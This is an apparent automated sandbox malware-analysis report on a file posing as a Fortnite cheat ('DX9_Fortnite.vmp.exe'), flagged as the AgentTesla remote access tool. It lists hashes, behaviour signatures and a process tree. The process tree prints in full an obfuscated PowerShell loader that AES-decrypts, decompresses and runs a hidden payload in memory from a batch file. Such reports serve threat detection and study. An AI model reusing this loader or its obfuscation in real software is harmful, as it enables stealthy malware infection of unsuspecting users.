Analysis
-
max time kernel
120s -
max time network
121s -
platform
windows7_x64 -
resource
win7-20231201-en -
resource tags
arch:x64arch:x86image:win7-20231201-enlocale:en-usos:windows7-x64system -
submitted
04-12-2023 16:30
Static task
static1
Behavioral task
behavioral1
Sample
DX9_Fortnite.vmp.exe
Resource
win7-20231201-en
Behavioral task
behavioral2
Sample
DX9_Fortnite.vmp.exe
Resource
win10v2004-20231130-en
General
-
Target
DX9_Fortnite.vmp.exe
-
Size
21.9MB
-
MD5
cf28ae1e33e5bbe9cf060258896508b9
-
SHA1
cd309a4b4a7bdb72ea6e845be9ae067dfb37be1a
-
SHA256
5f9298f554a3b512e47c0348a55b7b9aa698e7bb467b082f28f8fac9ecaf193a
-
SHA512
59b53f7c4624682f6166e2f62820d5910a4f3175f5254e2210a9a70ce3f3203c232479e49eb42bdd7e4c8c21a8aec4f82369a439bbf0c02fce539f80f017a8aa
-
SSDEEP
393216:c4wAQLZRTjrvjOCYjeofCPLoEmI7mzO/tTKEAXVLenVTq9aWgp78P:c49QZ8CY7fCUEmIqzwAFanVTq9aVp78P
Malware Config
Signatures
-
AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
-
AgentTesla payload 1 IoCs
Processes:
resource yara_rule behavioral1/memory/2876-14-0x0000000021830000-0x0000000021A44000-memory.dmp family_agenttesla -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
DX9_Fortnite.vmp.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS DX9_Fortnite.vmp.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer DX9_Fortnite.vmp.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemVersion DX9_Fortnite.vmp.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 2604 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
DX9_Fortnite.vmp.exepowershell.exedescription pid process Token: SeDebugPrivilege 2876 DX9_Fortnite.vmp.exe Token: SeDebugPrivilege 2604 powershell.exe -
Suspicious use of WriteProcessMemory 12 IoCs
Processes:
DX9_Fortnite.vmp.execmd.exedescription pid process target process PID 2876 wrote to memory of 2840 2876 DX9_Fortnite.vmp.exe cmd.exe PID 2876 wrote to memory of 2840 2876 DX9_Fortnite.vmp.exe cmd.exe PID 2876 wrote to memory of 2840 2876 DX9_Fortnite.vmp.exe cmd.exe PID 2840 wrote to memory of 2728 2840 cmd.exe cmd.exe PID 2840 wrote to memory of 2728 2840 cmd.exe cmd.exe PID 2840 wrote to memory of 2728 2840 cmd.exe cmd.exe PID 2840 wrote to memory of 2604 2840 cmd.exe powershell.exe PID 2840 wrote to memory of 2604 2840 cmd.exe powershell.exe PID 2840 wrote to memory of 2604 2840 cmd.exe powershell.exe PID 2876 wrote to memory of 2760 2876 DX9_Fortnite.vmp.exe WerFault.exe PID 2876 wrote to memory of 2760 2876 DX9_Fortnite.vmp.exe WerFault.exe PID 2876 wrote to memory of 2760 2876 DX9_Fortnite.vmp.exe WerFault.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\DX9_Fortnite.vmp.exe"C:\Users\Admin\AppData\Local\Temp\DX9_Fortnite.vmp.exe"1⤵
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2876 -
C:\Windows\system32\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\Uni.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:2840 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -noprofile -windowstyle hidden3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2604 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function rOpwK($bDUZR){ $ZSbAX=[System.Security.Cryptography.Aes]::Create(); $ZSbAX.Mode=[System.Security.Cryptography.CipherMode]::CBC; $ZSbAX.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $ZSbAX.Key=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('43RCrbvighVSmqRqLTRrGlwspP4E4ZTUpAUSnpzL+ho='); $ZSbAX.IV=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('XuQxWUp8cJ6TMP93x2hz7Q=='); $PTkwr=$ZSbAX.CreateDecryptor(); $return_var=$PTkwr.TransformFinalBlock($bDUZR, 0, $bDUZR.Length); $PTkwr.Dispose(); $ZSbAX.Dispose(); $return_var;}function doXyU($bDUZR){ $wnDke=New-Object System.IO.MemoryStream(,$bDUZR); $Fjgch=New-Object System.IO.MemoryStream; Invoke-Expression '$jWEeb #=# #N#e#w#-#O#b#j#e#c#t# #S#y#s#t#e#m#.#I#O#.#C#o#m#p#r#e#s#s#i#o#n#.#G#Z#i#p#S#t#r#e#a#m#(#$wnDke,# #[#I#O#.#C#o#m#p#r#e#s#s#i#o#n#.#C#o#m#p#r#e#s#s#i#o#n#M#o#d#e#]#:#:#D#e#c#o#m#p#r#e#s#s#)#;#'.Replace('#', ''); $jWEeb.CopyTo($Fjgch); $jWEeb.Dispose(); $wnDke.Dispose(); $Fjgch.Dispose(); $Fjgch.ToArray();}function okOoc($bDUZR,$WMjsd){ $DvAdI = @( '$dBIwi = [System.Reflection.Assembly]::("@L@o@a@d@".Replace("@", ""))([byte[]]$bDUZR);', '$pfdJC = $dBIwi.EntryPoint;', '$pfdJC.Invoke($null, $WMjsd);' ); foreach ($kyIDC in $DvAdI) { Invoke-Expression $kyIDC };}$UEuXH=[System.IO.File]::("@R@e@a@d@A@l@l@T@e@x@t@".Replace("@", ""))('C:\Users\Admin\AppData\Local\Temp\Uni.bat').Split([Environment]::NewLine);foreach ($HAUSH in $UEuXH) { if ($HAUSH.StartsWith('SEROXEN')) { $PXFKz=$HAUSH.Substring(7); break; }}$cogkk=doXyU (rOpwK ([Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))($PXFKz)));okOoc $cogkk (,[string[]] ('C:\Users\Admin\AppData\Local\Temp\Uni.bat')); "3⤵PID:2728
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 2876 -s 13362⤵PID:2760
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
12.0MB
MD5863f69ca35a3d6ec9bc767ea3069ae94
SHA1ba25bfe92c634441d9f73f2d11b7144a49b97e6b
SHA256b01f076893b445120cdff5a60baae318077dd7d995d007d7beba3a6a1982b231
SHA512f2883de03074cc00c56480cc01832536082cc5b1c60499f0a132ac9d38eea587c529ae591258837e919626e00171ebc40188acf8af760433ddf92470f111c6f5
-
Filesize
12.0MB
MD5863f69ca35a3d6ec9bc767ea3069ae94
SHA1ba25bfe92c634441d9f73f2d11b7144a49b97e6b
SHA256b01f076893b445120cdff5a60baae318077dd7d995d007d7beba3a6a1982b231
SHA512f2883de03074cc00c56480cc01832536082cc5b1c60499f0a132ac9d38eea587c529ae591258837e919626e00171ebc40188acf8af760433ddf92470f111c6f5